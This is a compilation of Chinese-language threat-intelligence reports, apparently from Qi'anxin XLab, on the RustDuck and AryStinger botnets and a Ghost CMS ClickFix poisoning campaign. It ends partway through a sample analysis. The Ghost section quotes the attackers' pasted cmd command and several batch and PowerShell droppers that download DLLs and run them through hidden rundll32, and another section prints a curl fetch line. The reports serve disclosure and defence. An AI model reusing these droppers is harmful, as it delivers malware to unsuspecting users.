样本传播方面，该家族样本的传播链主要覆盖 IoT 设备、Web 应用及企业基础设施，攻击方式以弱口令爆破（Telnet/SSH）与多类 RCE 漏洞利用为主，涉及 Android ADB、TVT API、Ruijie、TP-Link、ZTE、等设备漏洞，以及 ThinkPHP、Jenkins、YARN 等 Web/组件漏洞，并结合部分历史 CVE (CVE-2025-29635、CVE-2017-17215、CVE-2018-8007、CVE-2024-1781) 扩大攻击面。整体呈现“弱口令 + IoT 漏洞 + Web RCE”的组合型传播特征，可覆盖路由器、摄像头、Android 终端及服务器环境，实现大规模自动化入侵与载荷投递。目前监测到20多个IP参与传播RustDuck僵尸网络，其中最活跃的植入样本源IP为：176.65.139[.]204

样本分析

一、 Loader 的进化与聚类分析

Loader 阶段的样本通常采用精简的三段式设计：加载代码（Loading Code）、压缩数据（Compressed Core）和配置信息（Config）。

其经典的文件布局如下：加载代码驻留在标准 ELF 文件的开头代码段中，而核心的压缩数据与配置信息则作为 Overlay（附加数据）紧跟在文件末尾。

通过对文件尾部的配置信息（Config）进行结构化逆向，我们可以将该家族的 Loader 明确聚类为以下四个演进阶段：

1. loader变种1

SHA1:8315f650e9e4f67c00277b076ab304eed23db47d

配置大小：16 字节（均分为 4 个字段，每字段 4 字节）

内存布局：

|   Key (4B)   | Compress_Size(4B) | Decompress_Size(4B) |  Magic (4B)  |

Magic 校验算法：引入循环左移（ROL）与异或组合校验：

comperss_size ^ decompress_size ^ ROL4(key, 13) ^ 0x5A3C9E7F == magic

加解密与解压：采用线性同余生成器（LCG）产生伪随机数序列进行 XOR 解密，随后使用 LZ4算法解压。

2. loader变种2

SHA1:6aa791c76b3107fca9d57b7ecea8f46d97d83738

配置大小：33 字节

内存布局：

|   Key (16B)   | Compress_Size(4B) | Decompress_Size(4B) |   Magic (8B)  | Noise_Size(4B)|

加解密与解压：升级为Xoshiro128 + XOR解密，解压算法更换为 BLZ

对抗特点：该变种引入了多个硬编码常量来混淆解密和 Magic 验证过程。由于不同样本之间的常量是动态变化的，导致安全人员极难进行静态批量解密。

3. loader变种3

SHA1:4d11bd496da82d15b3ed13050f414e44f5a892d4

配置大小：48 字节

内存布局：

| Compress_Size(4B) | Decompress_Size(4B) |  Key (32B) |   Magic (8B)  |

Magic 校验：固定为明文字符串 "ASHPCK\x01\x00"

加解密与解压：回归标准 XOR解密与 LZ4 解压，结构走向标准化。

4. loader变种4

SHA1:d39a3ee96be6b8f5238cb1253514ab55c88f714c

配置大小：32 字节

内存布局：

| Compress_Size(4B) | Decompress_Size(4B) |  Key (16B) |   Magic (8B)  |

Magic 校验：固定为明文字符串"iEMPK\x02\x00\x00"。

加解密与解压：引入高强度的ChaCha20流加密算法，解压依然采用LZ4。

二、 Core 阶段的质变进化

随着编程语言向 Rust 切换，该家族的 Core（核心模块）在密钥派生、反分析以及通信协议上展现出了极高的工程复杂度。

1. 密钥生成与加解密算法

在密钥派生方面，新变种统一引入了HKDF-SHA256算法，目前观测到两种并存的密钥生成源：

基于 UTC 时间的动态密钥：

步调与时钟同步，每 10 分钟强制更新一次，用以对抗重放攻击和长期的流量审计。

非对称密钥交换：

采用Curve25519（Noise_IK_25519）架构实现前向安全。

在对称加解密算法上，演进路线分裂为两条分支：

分支 A：

全程采用经过魔术修改（Permutation 变换）的Ascon128轻量级加密算法。

分支 B：

采用混合加密体制。握手阶段使用ChaCha20-Poly1305，握手合规后切入AES-GCM。

2. 多维度反调试与环境泛滥检测

为了阻断沙箱自动分析和逆向分析师的动态调试，Core 模块内置了一套动态权重评分机制。软件运行时会遍历执行各项环境检测，当累加的风险得分超过预设阈值时，程序将自动擦除痕迹并退出。

具体检测项与权重划分如下：

关键反调试代码实现参考：

3. 高强度通信协议与流量对抗

新变种的网络通信协议深度参考了Noise 协议框架的 IK 模式。依靠客户端硬编码的服务器静态公钥与运行时生成的临时公钥进行 ECDH，混合派生出会话密钥。另外，协议在全阶段引入了全局MsgID，用于消息序列验证并参与新密钥的滚动生成。这种设计切断了在网络侧通过明文密钥解密流量的可能性。

整个通信生命周期严格划分为两个阶段：

阶段 A：握手/验证阶段

消息封装格式：

传输加密：ChaCha20

握手交互时序：

Key Exchange：

客户端上传 32 字节的客户端临时公钥；随后接收服务器下发的 32 字节公钥。

KDF 派生：

双方利用各自手上的私钥与对方公钥完成魔改的密钥交换，将共享密钥合并作为master，公钥拼接物作为salt，通过HKDF-SHA256派生出后续所需的chacha20Key与aesGCMKey：

四步合规验证：

基于chacha20Key+HMAC-SHA256建立严格的身份确认：

verify (0xa1): 服务器返回随机消息，并附带针对 login 阶段的

login_hmac。

confirm (0xa2): 客户端校验成功后，向服务端发送 verify_hmac

及本机的唯一botid（64字节十六进制字符串）。

ack (0xa3): 服务端发送确认包，正式宣告握手阶段结束。

阶段 B：指令循环（C2 Command Loop）

握手成功后，通信立即切换至高强度的指令循环阶段。

消息封装格式：

头部增加了 3 字节的仿 SSL 伪装魔术字。

传输加密：

AES-GCM体制。

为了最大化提升对抗中间人攻击（MITM）的能力，该阶段在进行数据加密和解密时，采用了上下行分离的独立密钥体制。先前派生的 88 字节aesGCMKey被精确切割为四个部分：

Client 发送（上行）流量：使用 clientKey 与 clientNonceKey 加密。

Server 接收（下行）指令：使用 serverKey 与 serverNonceKey解密。

C2 指令集（msgType）定义：

IoC

Loader SHA1
8315f650e9e4f67c00277b076ab304eed23db47d
6aa791c76b3107fca9d57b7ecea8f46d97d83738
4d11bd496da82d15b3ed13050f414e44f5a892d4
d39a3ee96be6b8f5238cb1253514ab55c88f714c

C2 Domain
gayporn.twilightparadox[.com
bigniggadick.ignorelist[.com
ilovefemboy.mooo[.com
igmc.duckdns[.org
qewqewqewqtq.duckdns[.org
qewqewqewqtqthree.duckdns[.org
qewqewqewqtqtwo.duckdns[.org
disciplinenahidwin[.st
criminalcloudflare[.online
dhdsjsdjxc.duckdns[.org
fcfrfxrfrsfs5f.duckdns[.org

阅读原文

跳转微信打开

隐形的毒刺：超4000台老旧路由器遭AryStinger入侵，沦为黑客全球攻击跳板

Wed, 17 Jun 2026 16:55:00 +0800

原创奇安信X实验室 2026-06-17 16:55 北京

背景介绍

2026年5月20日，国安部微信公众号在文章《网速变慢，元凶竟是它》中指出老旧路由器正成为境外势力实施网络窃密的重点突破口。受该文启发，我们觉得必须重视老旧路由被入侵这一情况，本文将介绍奇安信XLab视野中一起不同寻常，专门针对基于RTL819X系列芯片的路由器设备的攻击活动。RTL819X系列芯片的主流活跃期集中在 2012 年至 2015 年左右，攻击者利用13年前被披露的漏洞攻陷大量老旧路由，组建侦察和攻击集群，用于入侵前期的踩点服务。（注：本文披露活动和国安部所述并无直接关系）

让我们把钟拨回到2026年3月12日，XLab大网威胁感知系统监测到IP 107.150.106.14 通过老旧漏洞CVE-2013-3307以及CVE-2016-5681传播一个VT 0检测的C语言实现的ELF样本。受这俩个漏洞影响的分别是Linksys以及D-Link 10多年前的几款路由器设备。不同于常见的利用IOT设备漏洞组建DDoS或挖矿僵尸网络，此次活动旨在构建入侵侦察活动的基础设施集群，具备端口扫描，服务识别，子域名枚举等信息收集能力。4月26日，我们捕获了针对NAS设备，通过CVE-2025-11837传播的同源样本，该样本由Go语言实现，源码路径暗示项目名为"Ary-Attack"。综合其行为特征与技术来源，我们将这个未知的病毒家族命名为AryStinger。

AryStinger 是一个典型的僵尸程序（Bot），它通过 HTTP/HTTPS 协议与 C2 服务器通信。网络流量采用 Protobuf 编码并辅以简单的 XOR 加密。该程序在与 C2 服务器完成身份认证并获取配置更新后，将进入待命状态，等待执行服务器下发的任务。AryStinger 支持多种任务类型，包括内/外网络扫描、流量隧道转发/代理、执行系统命令、Go/Java/Python三种的源码级 Payload，以及通过 dropbear 或 gs-netcat 构建持久的远程管理通道。最终，被感染的设备既可被用于内网渗透拓展，也可被用于对外发起攻击，同时还能有效隐藏攻击者的真实身份与物理位置，成为整个攻击链条中集隐匿、中继、发力于一体的关键跳板。

每个运行 AryStinger 的节点被称为 Executor（执行器）。攻击者可以将一个庞大的扫描任务切分成多个小块，下发给不同的 Executor 并行执行。借助这种类似分布式的设计，攻击者能够高效地完成前期“踩点”活动，从而为后续入侵行动的流畅度与成功率提供有力保障。

根据奇安信网络空间测绘鹰图平台的资产探测数据，全球已有至少 4300 台路由器被感染，且数量仍在持续上升。需要注意的是，这一数字仅涵盖 AryStinger 在 RTL819X 类设备上的感染情况，目前尚无手段测量其对 NAS 设备的感染规模。我们暂时不清楚，除了RTL819X和NAS，是否还存在其他攻击目标。此外，AryStinger的网络通信使用了一个硬编码密钥"sh_#@!_2024_secret"，其中的"2024"字样是否意味着攻击者早在2024年就已开始此类活动，同样也不得而知。

尽管围绕 AryStinger 仍有许多谜题待解，但仅凭其针对老旧路由器的定向攻击这一事实，就足以将其定义为一个不容小觑的现实威胁。正如国家安全部所警示：“路由器作为日常上网的关键设备，一旦被非法入侵，不仅会威胁个人隐私与财产安全，甚至可能危害国家安全”。更令人担忧的是，该恶意样本及其关联的 C2 服务器在主流安全引擎中检测率极低。正是鉴于这种“低检测率”与“高潜在危害”的叠加风险，我们决定撰写本文，将研究成果分享给安全社区，以期共同应对潜在风险，维护整体网络安全。

感染规模

AryStinger会在被入侵的设备上的特定端口部署dropbear，根据这一行为特征，通过资产测绘，我们发现全球至少超过4300台路由器被感染。

被感染设备主要为D-LINK路由器，受影响型号如下表所示，主要分布在韩国48.45%，中国31.82%，瑞典6.40%，马来西亚3.50%，新加坡2.50%。

技术分析

AryStinger 分为 RTL819X 和 Standard 两个版本：前者使用 C 语言实现，主要针对 Linksys、D-Link 等老旧路由器，仅有massdns 和隧道功能，功能较为单一；后者使用 Go 语言实现，面向 NAS 设备，功能更全面，除了 IP 扫描、DNS 扫描、HTTP Alive 扫描外，还集成了 fscan、ksubdomain、httpx、Tlsx 等渗透工具，并支持远程命令执行与 Payload 执行。尽管两者在语言和功能集上存在差异，但核心工作逻辑基本一致。其实RTL819X是Standard的精简版本，正因为老旧路由器的性能无法支撑 Standard 版的完整功能，攻击者才选择用 C 语言重新实现了 Standard 的部分能力。

第一部分: AryStinger RTL819X版

AryStinger RTL819X通过CVE-2013-3307以及CVE-2016-5681传播的脚本如下所示，它的功能是先从下载服务器hgodpcx[.]ajb8.com获得最新的版本号，然后下载执行对应的AryStinger样本。

从3月12日起，我们一共捕获了32个不同版本号的AryStinger样本文件。版本虽多，但其实功能变化不大。本文选取V2.0.27为主要分析对象，以下为它的基本信息。

AryStinger一共支持12个不同的参数，它们的用法在usage中已详细说明，大部分和扫描相关，如设置DNS扫描的并发，超时时间，日志回传域名等。

如果运行时指定 -d参数，就会禁止daemon模式，此时AryStinger会在在前台打印出调试信息，其中包括版本号，C2以及authsvc,hbsvc,updatesvc等多个任务的相关信息。

其实 AryStinger 的主要核心工作逻辑就是由`authsvc`、`hbsvc`、`watchdogsvc` 这些任务共同构成。

整体工作流程如下：

AUTH（身份认证）
通过 `/auth` 接口向 C2 服务器 `eixfi.ajb8.com` 发送设备信息进行身份认证。认证通过后，C2 为该 Bot 分配一个唯一的 Executor ID，此后 Bot 与 C2 之间的所有通信都将附带该 ID 作为身份凭证。
HB（心跳与配置更新）
通过 `/heartbeat` 和 `/config` 接口，实现心跳上报及配置更新功能。
Watchdog（下载与部署）
从 Download 服务器 `hgodpcx.ajb8.com` 下载 `dropbear` 程序，并将其部署在端口 2332 上运行。
Upgrad（样本自升级）
实现恶意样本的自动升级能力。
TASK（任务拉取）
从 C2 服务器拉取域名探测任务。
WORKER（任务执行）
执行 C2 下发的具体任务。
TUNNEL（隧道穿透）
提供隧道功能，用于代理或转发网络流量。此功能在V2.0.27之后加入，使用了2个额外的C2 ``sdkv1.dataexplore.cc`` 和 ``sdkv1.dataexplore.co``。

下文将以 authsvc、watchdogsvc、tasksvc 三大任务为核心，分析 AryStinger 的功能实现。

① authsvc任务

Bot 通过 `build_request_auth` 函数收集设备的指纹信息，包括 MAC 地址、设备名称、公网地址、内网地址、操作系统版本，CPU架构，当前时间戳等。这些敏感数据先经过 Protobuf 编码，再使用硬编码密钥 `sh_#@!_2024_secret` 进行 XOR 加密，最终通过 HTTP 协议上报到 C2 的 `/auth` 接口。C2 收到上述消息后，若判定身份认证请求来自真实设备，则会为该 Bot 分配一个 Executor ID，作为后续任务派发的凭证。

我们在测试设备中运行的样本是V2.0.28，它产生的请求流量如下所示：

上述流量经xor解密，Protobuf反序列化之后如下所示，和我们的分析能一一对应

C2对上述请求的响应数据是 63 a5 cd c2 42 81 59 33，使用相同的方法对它进行解密，可以看出C2为Bot分配的Executor ID为5785933。

② watchdogsvc任务

Bot从Download服务器下载`dropbear`（一个轻量级SSH服务端）和`dropbearkey`（密钥生成工具）到`/tmp/bin/`目录，在本地特定端口启动dropbear SSH服务，并配置 iptables 放行该端口流量，从而为攻击者建立持久的远程登录后门。

③ tasksvc任务

Bot 通过向 C2 的 `/cmd` 接口发送请求以获取域名扫描任务。该请求在 HTTP 头中携带 `X-Executor-ID` 字段，值为身份认证阶段分配的 `5785933`，用于标识自身身份。AryStinger实现了类似massdns的扫描功能，它从C2下发的任务中提取扫描步长、偏移量、顶级域名列表、扫描类型、子域名长度范围、重试次数、超时时间、自定义字符集和DNS服务器列表等参数，构建任务对象后交由 worksvc 执行。这种设计意味着攻击者可以将一个大规模的扫描任务切分成多个子任务，分配给不同的 Bot 并行处理，从而实现分布式扫描。

以测试设备中产生的真实交互流量为例，首先来看Bot的请求报文，``X-Executor-ID``的值正是authsvc任务中C2下发的``5785933``。

再来看 C2 的响应报文，加密数据经 XOR 解密、Protobuf 反序列化后，可提取出任务配置：本次下发的为 .ba 顶级域爆破任务，offset 值为 11,654,000,000。这表明该 Bot 被分配扫描长度 7 子域名的中间偏前区域，覆盖该长度范围内约 12% 的扫描空间。

实际 Bot 在收到该指令后就会对.ba顶级域发起扫描，产生的扫描流量如下图所示。其实我们认为除了用于域名爆破之外，攻击者还可以利用这类任务对DNS 解析器（DNS Resolver）发起 DDoS 攻击。

第二部分: AryStinger Standard版

AryStinger RTL819X通过CVE-2025-11837传播的脚本如下所示，它的功能是设置环境变化B64，分别从远程服务器下载执行脚本n和t。脚本n的主要功能是下载执行最新版本的AryStringer；而脚本t的功能则是下载执行tunnel工具。

自4月26日起，我们捕获了22个不同版本号的AryStinger Standard版样本文件，本文选取V1.0.102为主要分析对象，它的基本信息如下所示：

AryStinger Standard 的核心工作流程集中于 6 个函数，可明确划分为两类：一类是 `installGSocket`，另一类是多个 Loop 函数（如 `authLoop`、`cmdLoop` 等）。这些函数与 RTL819X 版本在功能上一一对应，仅在具体实现上存在差异。例如持久化远程管理通道的构建方式：RTL819X 版本通过下载部署 Dropbear 实现，而 Standard 版本则通过main_installGSocket下载部署 gs-netcat 。

AryStinger Standard 与 AryStinger RTL819X 具体的函数对应关系如下表所示。相较于 RTL819X 版本，Standard 版本不仅新增了内网扫描（intranetScan）功能，还将 C2 下发的任务类型从单一的 masscan 扩充至 ScriptWork、HttpAliveWork 等共计 6 种任务。

下文将围绕 Standard 版相较于 RTL819X 版的变化点，从网络通信和新增功能两个方面，对其功能实现进行简要剖析。

① 网络通信

AryStinger Standard 硬编码了俩个 C2 地址 `dybic.ajb8.com`和`opi7.com`，通信基于 HTTPS 协议。其数据报文采用 Protobuf 进行序列化，随后经过 Gzip 压缩和 XOR 加密。以 `main_authLoop` 函数发起的身份认证请求为例，实际产生的流量（V）如下所示：

数据报文依次经过 XOR 解密、Gunzip 解压和 Protobuf 解码后，还原出的正是测试设备中的各类敏感信息。

② 新增任务

AryStinger Standard 大幅扩展了 C2 下发的任务类型，从原先的仅 1 种增加至以下 6 种，各函数的功能已由其函数名直接体现，本文不再逐一展开，仅对其中最具代表性的 ScriptWork 进行简要说明。

ScriptWork 支持执行 Shell 命令以及 Go、Java、Python 三类的源码级 Payload。这种设计极大提升了攻击者的操作灵活性：无需为不同平台分别编译二进制文件，也无需关心目标设备的具体架构，只需直接下发源码即可动态执行。无论是信息收集、权限维持，还是横向移动，攻击者都可以根据实际场景快速定制并分发功能模块，大幅降低了攻击成本和时间窗口。

这种设计虽然灵活，但弊端也很明显：执行环境依赖严重（如 Python、Java、Go）。一旦环境缺失，攻击者就不得不进行额外的下载、安装操作。这不但显著拉长了攻击链条，增加了暴露风险，更可能在受限的内网或容器环境中直接导致整个攻击流程中断。同时，源码需以明文文件形式落地，解释器进程的命令行也会被系统审计日志清晰记录，相比无文件、内存型的二进制 Payload，暴露面大幅增加，更容易被 EDR、HIDS 等安全产品捕获和溯源。

③ 内网扫描

AryStinger 通过集成 Fscan、Ksubdomain 等开源工具，构建了强大的内网侦察能力。它能够自动化收集系统配置、进程、网络、漏洞等关键信息。

AryStinger的工作目录是/tmp/bin，在此目录将保存其下载的开源工具集，内网扫描集扫描结果。扫描完成时，这些结果将回传至 C2。攻击者根据这些汇聚后的内网态势信息，制定精准的后续入侵或横向移动策略，实现攻击活动的闭环。

④ 隧道功能

AryStinger Standard 本身不具备隧道功能。然而，漏洞传播利用的 Payload 中包含代码：curl -skL https://hgodpcx[.]auq8.com/t 。该命令下载的 't' 是一个 Python 脚本，其核心作用是进一步下载执行nat_tunnel-linux-x86_64，从而实现隧道穿透。样本中硬编码了和前文RTL819X Tunnel中的一样的C2服务器。

nat_tunnel-linux-x86_64 疑似由 AI 辅助生成，其硬编码 C2 与 RTL819X 版 Tunnel 一致，功能同样为在感染主机上建立流量代理或转发通道。

总结

这是我们掌握的关于 AryStinger 家族的核心情报。老旧路由器长期缺乏固件更新与安全维护，一旦被AryStinger这类具备侦察与隐蔽控制能力的恶意软件入侵，相当于黑客在你的网络里安放永久的“隐形监听器”和“攻击跳板”，攻击者可以借此轻松的实现以下三重危害：

窃密：悄无声息地监控所有进出流量，窃取各类敏感信息
劫持：随意篡改DNS，将用户引导至钓鱼，色情，赌博网站或其它病毒木马下载页面
隐匿攻击：以被控路由器为跳板，向全球目标发起扫描、渗透、DDoS攻击或传播恶意软件，而真实攻击源难以追溯

毫无疑问，当大量老旧设备陆续沦陷，汇聚，最终将形成规模庞大的隐蔽僵尸网络时，这将对个人隐私、企业安全乃至国家关键网络基础设施构成持续、隐蔽且高破坏力的现实威胁。

强烈建议读者立即从以下3个层面进行自查，以判断系统是否已被感染，并及时替换或下线长期未更新固件的老旧路由设备，请勿让你的“网络大门”为黑客敞开。

网络：检查是否与文中提及的IOC域名存在通信。
文件：登录设备，检查 /tmp/bin 目录是否存在恶意样本。
进程：检查是否存在 syswapd0h 或 syswapd0w 进程。

目前，我们仍在深入挖掘 AryStinger 背后的犯罪团伙，欢迎了解内幕的读者向我们提供更多的情报。如果你对我们的研究感兴趣，或希望获取帮助，可留言与我们联系。对IOC感兴趣的读者，欢迎点击下方阅读原文，前往我们的官方博客，获取AryStringer详尽IOC信息。

部分IOC

阅读原文

跳转微信打开

黑客利用 CVE-2026-26980 攻陷 Ghost CMS，大量站点沦为 ClickFix 攻击帮凶

Thu, 21 May 2026 16:48:00 +0800

原创奇安信X实验室 2026-05-21 16:48 北京

背景介绍

2026年5月7日，XLab监测到一起针对重要客户Ghost CMS的投毒事件。攻击者利用Ghost CMS高危SQL注入漏洞CVE-2026-26980，未授权获取目标站点的Admin API Key，进而通过Ghost Admin API批量篡改文章，在页面底部植入恶意JavaScript Loader，用于辅助FakeCaptcha攻击——即通过伪造Cloudflare人机验证页面，诱导用户在本地执行恶意命令。

深入调查分析后，我们确定这并非是针对客户的定向入侵，而是隶属于在野攻击团伙以Ghost CMS为目标的大规模投毒活动。虽然CVE-2026-26980早在2月19日就已公开披露，但大量用户并未及时升级修补，为攻击者提供了可乘之机。目前至少有两个团伙正在积极开展此类投毒行动，部分站点甚至成为双方争夺的目标，一天之内被先后植入不同的恶意代码。

通过对页面投毒特征的主动探测，我们累计发现700多个域名遭到污染，其中不乏多个全球知名站点，如DuckDuckGo的官方博客，欧洲 Python 学会等，覆盖大学、区块链、AI / SaaS、安全研究、媒体、金融科技等多个行业。

毫无疑问，用户对这些 Ghost 站点的天然信任，将极大提升 ClickFix 这类攻击的成功率。在第一波次的攻击中，攻击链条中的 Cloaking 域名使用了 Cloudflare 的代理服务，这为 Cloudflare 留出了有效的拦截窗口。很可能是用户在被投毒站点上看到异常提示框后对相关网站进行了举报，最终促使 Cloudflare 封禁了攻击者当时使用的 Cloaking 域名 clo4shara[.]xyz，切断了攻击链条，在一定程度上减轻了本次投毒事件的影响。

但在 5 月 16 日，我们发现攻击者已更新其 Cloaking 域名（新域名为 com-apps[.]cc，当时尚未被 Cloudflare 拦截），并将最终载荷升级为 VT 零检出的窃密木马。

自5月10日起，我们已陆续向受害方发出安全通报。虽然部分企业作出了回复并启动了处置工作，但绝大多数通报至今仍未收到任何回应。我们认为无论是从当前感染态势还是未来潜在风险来看，这类投毒活动都不应该被忽视。

从当前感染态势来看，攻击者只需将伪装域名（Cloaking domain）移出 Cloudflare 的服务，攻击链条便可恢复正常运作，被感染的域名将立即转化为ClickFix攻击的帮凶
从未来潜在风险来看，此次收集到的 Ghost CMS 凭证及其设定风格，可能被攻击者用于针对同一感染实体的其他业务系统进行横向渗透；此外，其他尚未被感染但使用Ghost CMS的站点同样面临威胁，攻击者完全有能力采用相同手法对它们发起攻击。

5月17日，在对被污染站点进行新一轮测绘时，我们惊奇地发现，越来越多知名网站（如哈佛大学、牛津大学、奥本大学等）遭到波及，同时还发现了第二个攻击团伙的恶意代码。很明显，在野投毒攻击呈上升趋势，越多越多的没有升级的Ghost站点正处于被感染边缘，我们决定向安全社区公开通报此次事件，强烈建议请广大使用Ghost CMS的用户立即完成系统升级，并根据本文提供的特征信息，积极开展自查与处置工作。

影响范围

通过对公开可访问页面进行特征扫描，我们累计识别出700多个被投毒的受害域名，并已主动联系其中可获取到联系方式的站点，告知其遭受投毒的情况。以下为基于 AI 辅助分析得出的受害域名分类统计结果。

事件时间线

2026-02-16：攻击中使用的installer.dll的编码时间戳
2026-05-07：XLab 监测到 Ghost 站点出现页面投毒特征，开始溯源
2026-05-08：攻击者更新update.bat，更新下载链路
2026-05-10：完成第一轮被污染站点测绘，确认156个受害域名
2026-05-16：Cloaking域名更新，投递新的installer.dll
2026-05-17：完成第二轮被污染站点测绘，确认700+个受害者域名，发现新的攻击者

漏洞背景：CVE-2026-26980

CVE-2026-26980 是 Ghost CMS 中的一处高危 SQL 注入漏洞。攻击者无需任何认证，即可通过该漏洞直接读取数据库内容，包括Admin API Key。Ghost 的 API 体系中存在以下两类Key，本次事件中，攻击者窃取的是Admin API Key，这也是其能够批量篡改文章内容的根本前提。

Content API Key：默认只读，仅用于前端读取已发布内容
Admin API Key：拥有文章、主题、用户等管理权限，可调用PUT /ghost/api/admin/posts/:id/等接口直接修改文章

攻击链总览

整个攻击过程具备明显的 "CMS接管→页面投毒→二阶段加载→社工诱导(FakeCaptcha/ClickFix) →恶意软件投递" 五段式特征，且全流程高度自动化：批量扫描漏洞 → 自动提取 Key → 批量注入 → C2 动态分发。

Stage 1：文章尾部注入恶意 JavaScript

攻击者在成功获取目标站点 Admin API Key 后，通过 Ghost Admin API 修改文章内容，在文章底部插入恶意代码。我们捕获的恶意代码可以分析俩个版本，它们的核心功能是一致的，只不过新版本在优化了加载逻辑，即通过浏览器的localStorage，确保后续代码在当前浏览器中只执行一次。

旧版本

新版本

代码行为分析：

这是一段典型的二阶段加载器（two-stage loader）：第一阶段是固定写入数据库的 thin loader，真正的 payload 由clo4shara[.]xyz/11z77u3.php按需返回。

这种设计对攻击者的好处非常明显：

切换 payload 内容（钓鱼跳转 / 信息窃取 / 挖矿 / 浏览器 0day / 仅在特定地理或 UA 下激活）完全不需要再次入侵站点
一旦被发现，C2 可以"先静默"再"复活"，绕过基于 payload 内容的特征匹配
同一份 loader 可以跨多个被入侵的站点复用，C2 端通过 btoa(origin)标识来源

Stage 2：二阶段Cloaking脚本，跳转至伪造验证页面

直接访问clo4shara[.]xyz/11z77u3.php 可以看到一段代码，它其实是典型的流量分发脚本，核心功能是采集用户浏览器的多种指纹信息并上传至服务端，随后根据返回指令执行跳转、弹窗、下载等动作。经分析，我们认为这个PHP脚本并非攻击者自主开发，而是源自商业化Cloaking服务提供商Adspect。在恶意场景中，Cloaking技术使网站能根据访客身份动态切换内容：真实受害者将才会接收到恶意负载，而安全研究人员或爬虫仅能看见无害的“安全页面”。

环境指纹采集

通过采集浏览器、系统、硬件等多维度的指纹信息（如 WebGL 显卡型号、Navigator 属性、时区、触摸事件支持、控制台是否被篡改等），构建浏览器环境的唯一标识，上报给服务器用于判断请求是否来自真实受害者。

远程控制

支持 local、fetch、proxy、301–307 状态码、iframe、form、php、js 等 19 种不同指令，能够执行任意 JavaScript 代码，攻击者可以完全控制受害者的浏览器。

实际中真正的受害者访问11z77u3.php返回的windows_adata相关代码如下所示，此时脚本执行iframe指令，让浏览器通过iframe的方式加载下一阶段的页面cloud-verification[.]com。

window._adata  = {
  "ok": true,
  "action": "iframe",
  "cid":  "69fca6a9ad57095d",
  "js": false,
  "target":  "https://cloud-verification[.]com"
};

用户视角的现像就是浏览器显示一个Cloudflare 的"人机验证"页面，要求Verify you are human。

Stage 3：ClickFix 社会工程学攻击

上一章节提到的页面，是一个高度仿冒 Cloudflare 的“人机验证”页面。当用户点击“验证”后，页面会进一步引导用户完成以下三个特定步骤，才能通过验证。这其实是当下非常流行的 Fake CAPTCHA 攻击手法，通过社会工程学诱导用户，从而完成恶意软件的投递与执行。

使用WIN+R快捷键打开命令窗口
使用Ctrl+V复制指令
按下Enter执行指令。

没有经验的读者或许会说：“这看起来没有什么恶意行为啊？”其实，玄机就藏在 setTimeout 里。它设定了一个在页面被访问后，延时至少500毫秒才会执行的函数，用来在后台偷偷下载恶意文件，下载地址为“https://cloud-verification[.]com/update.zip”。如果用户浏览器没有开启“下载提醒”，整个过程就会在毫无察觉的情况下完成。

而用户Ctrl+V复制的指令来自dropper，将它使用base64解码如下所示，它的功能正是将下载的update.zip恶意载荷启动执行。

cmd /c  "move %USERPROFILE%\Downloads\update.zip %TEMP%\u.zip 
&&  tar -xf %TEMP%\u.zip -C %TEMP% 
&&  start /min "" %TEMP%\update.bat" 
&  REM
* I am  not a robot reCAPTCHA Verification ID:2771

Stage 4：载荷投递

我们目前一共捕获了以下4个不同的下载地址，其中可以分成update.zip和NotepadPlugPlus.zip俩大类，其中update.zip这一类的恶意代码保存在update.bat中。

jalwat[.]com/static/uploads/campaigns/6/update.zip
cloud-verification[.]com/update.zip
com-apps[.]cc/update.zip
com-apps[.]cc/NotepadPlusPlus.zip

5月7日：来自jalwat[.]com的update.bat

@echo  off
powershell  -W 1 -C "$f=$env:Temp+'\installer.dll'; 
iwr  'https://link.storjshare[.]io/raw/jwqiycdezuj5gpqsyqn3damxbhgq/000/supman/installer.dll'  -OutFile $f;  
Start-Process rundll32  -ArgumentList  $f,'Begin' -Window  Hidden"
start  "" "https://youtube.com"

5月8日：来自cloud-verificatoin[.]com的update.bat

@echo  off
powershell  -W 1 -C "$f=$env:Temp+'\installer.dll'; iwr  'https://link.storjshare[.]io/raw/jwl6ukpgv3mronv4ik2atzxsfxzq/sup/installer.dll'  -OutFile $f;  Start-Process rundll32  -ArgumentList  $f,'Begin' -Window  Hidden"
start  "" "https://wl[.]gl/supp.jpg"
exit

5月9日: 来自com-apps[.]cc 的update.bat

@echo  off
powershell  -W 1 -C "$f=$env:Temp+'\publl.dll'; iwr  'https://t[.]ly/docreport09052026.pdf' -OutFile $f;  Start-Process rundll32 -ArgumentList  $f,'Begin' -Window Hidden"
start  "" "https://bc[.]ax/Supp.html"
exit

它们的核心逻辑一致：从 Storj 公共 CDN 下载DLL文件，通过rundll32隐藏窗口调用导出函数Begin，再打开一个伪装页面分散用户注意力。

而NotepadPlusPlus.zip就稍微有所变化，在5月16日压缩包中的是cmd文件；两天之后就变成了js文件。

5月16日: 来自com-app[.]cc的NotepadPlusPlus.cmd

@echo  off
setlocal
if not  "%1"=="am_admin" (powershell -WindowStyle Hidden -Command  "Start-Process cmd -ArgumentList '/c %~f0 am_admin' -WindowStyle  Minimized" & exit /b)
mode  con: cols=1 lines=1
powershell  -WindowStyle Hidden -Command ^
"$dll  = '%APPDATA%\Microsoft\Windows\NotepadPlusPlus.dll'; ^
Invoke-WebRequest  'https://taketwolabs[.]com/wp-content/NotepadPlusPlus.dll' -OutFile $dll  -UseBasicParsing; ^
Start-Process  rundll32 -ArgumentList $dll, 'Begin' -WindowStyle Hidden"
exit

5月18日: 来自com-app[.]cc的NotepadPlugPlus.js

它们的功能也是下载，只不过cmd用于下载下一阶段的载荷NotepadPlusPlus.dll；而js则是用于下载最终阶段的载荷UtilifySetup.exe。

样本分析：installer.dll & notepadplusplus.js

上述的bat或cmd文件都是用于下载下一阶段的DLL文件，虽然不同的脚本中使用了publl.dll，NotepadPlusPlus.dll等名字，但从样本中的PDB信息可知这个DLL真实名字为installer。目前，我们只捕获俩个installer.dll，对应俩个不同的阶段。

第一阶段：5月7日至9日

MD5:    5659292833ec421da11ebde005d9c9a8
Compiled  Timestamp: 2026-02-16 18:19:13
Language:    Rust
PDB:  installer.pdb

行为流程：

在%TEMP%下创建随机命名的文件夹
从https://wl[.]gl/sup.exe下载下一阶段样本并保存
使用cmd启动sup.exe

最终拉取到的sup.exe是一个携带有效代码签名证书的PuTTY客户端，目前该链接已失效。我们判断这个阶段极有可能只是测试 / 统计性投放，用以验证整条投毒链路的可行性与转化率，核心判断依据为：

Loader 本身未做任何持久化
下载回来的 payload 未实施任何恶意行为

第二阶段：5月16日至今

MD5:  d30cc10d54ebc967c8538ff74f442eee
Compiled  Timestamp: 2026-05-16 04:04:55
Language:  Rust
PDB:  installer.pdb

